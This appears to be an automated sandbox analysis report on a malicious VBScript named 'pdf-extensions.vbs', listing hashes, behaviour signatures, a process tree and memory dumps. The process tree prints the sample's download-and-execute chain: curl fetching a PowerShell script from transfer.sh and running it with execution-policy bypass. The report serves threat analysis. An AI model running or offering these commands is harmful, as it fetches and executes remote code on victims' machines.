a858b2b8b4be7cb23e0a7d37a0c08489a6820cb1be5523a7a466014eb994391f

Analysis

max time kernel
251s
max time network
397s
platform
windows7_x64
resource
win7-20230220-en
resource tags

arch:x64arch:x86image:win7-20230220-enlocale:en-usos:windows7-x64system
submitted
31-03-2023 16:01

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General

Target

pdf-extensions.vbs
Size

111KB
MD5

3fa09c9c6deff87d8c7d42b352ce52b6
SHA1

c69283b1d90cd7fbec45521149292956ca4c6a1f
SHA256

4b18539613e1c78a58734ef5e60fe4793ca83384930a4172dbe7a008b14fec31
SHA512

90696b88151fe173fd2bf64c049b6f7f30493d4daf033f36b9f67f8c94f8b75047df1e7129a119d93bfeafb35007a6341bc745dfac78f817f070c2f9ca44f40e
SSDEEP

12:O+h3awpefBNRxkj5H6NPnqkc+h3awpeZ9nF6NPnJo:O+9xYZNRxo5wqh+9xYZlym

Score

3^/10

Malware Config

Signatures

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082
Suspicious behavior: EnumeratesProcesses 1 IoCs

Processes:

powershell.exe

pid process

1776 powershell.exe
Suspicious use of AdjustPrivilegeToken 1 IoCs

Processes:

powershell.exe

description pid process

Token: SeDebugPrivilege 1776 powershell.exe

pid	process
1776	powershell.exe

description	pid	process
Token: SeDebugPrivilege	1776	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

Processes:

WScript.execmd.execmd.execmd.exe

description	pid	process	target process
PID 1996 wrote to memory of 548	1996	WScript.exe	cmd.exe
PID 1996 wrote to memory of 548	1996	WScript.exe	cmd.exe
PID 1996 wrote to memory of 548	1996	WScript.exe	cmd.exe
PID 548 wrote to memory of 892	548	cmd.exe	cmd.exe
PID 548 wrote to memory of 892	548	cmd.exe	cmd.exe
PID 548 wrote to memory of 892	548	cmd.exe	cmd.exe
PID 1996 wrote to memory of 1676	1996	WScript.exe	cmd.exe
PID 1996 wrote to memory of 1676	1996	WScript.exe	cmd.exe
PID 1996 wrote to memory of 1676	1996	WScript.exe	cmd.exe
PID 1676 wrote to memory of 1004	1676	cmd.exe	cmd.exe
PID 1676 wrote to memory of 1004	1676	cmd.exe	cmd.exe
PID 1676 wrote to memory of 1004	1676	cmd.exe	cmd.exe
PID 1004 wrote to memory of 1776	1004	cmd.exe	powershell.exe
PID 1004 wrote to memory of 1776	1004	cmd.exe	powershell.exe
PID 1004 wrote to memory of 1776	1004	cmd.exe	powershell.exe

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\pdf-extensions.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1996

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c curl https://transfer.sh/get/3DdLPT/coca.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:548

C:\Windows\system32\cmd.exe
cmd.exe /c curl https://transfer.sh/get/3DdLPT/coca.ps1 --output C:\Users\Admin\AppData\Roaming\rr.ps1
3⤵
PID:892

C:\Windows\System32\cmd.exe
"C:\Windows\System32\cmd.exe" /c cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
2⤵
- Suspicious use of WriteProcessMemory
PID:1676

C:\Windows\system32\cmd.exe
cmd.exe /c powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
3⤵
- Suspicious use of WriteProcessMemory
PID:1004

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
powershell.exe -exec Bypass -C C:\Users\Admin\AppData\Roaming\rr.ps1
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:1776

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

Lateral Movement

Collection

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

memory/1776-58-0x000000001B100000-0x000000001B3E2000-memory.dmp

Filesize
2.9MB

Download
memory/1776-59-0x0000000002410000-0x0000000002418000-memory.dmp

Filesize
32KB

Download
memory/1776-60-0x0000000002390000-0x0000000002410000-memory.dmp

Filesize
512KB

Download
memory/1776-61-0x0000000002390000-0x0000000002410000-memory.dmp

Filesize
512KB

Download
memory/1776-62-0x000000000239B000-0x00000000023D2000-memory.dmp

Filesize
220KB

Download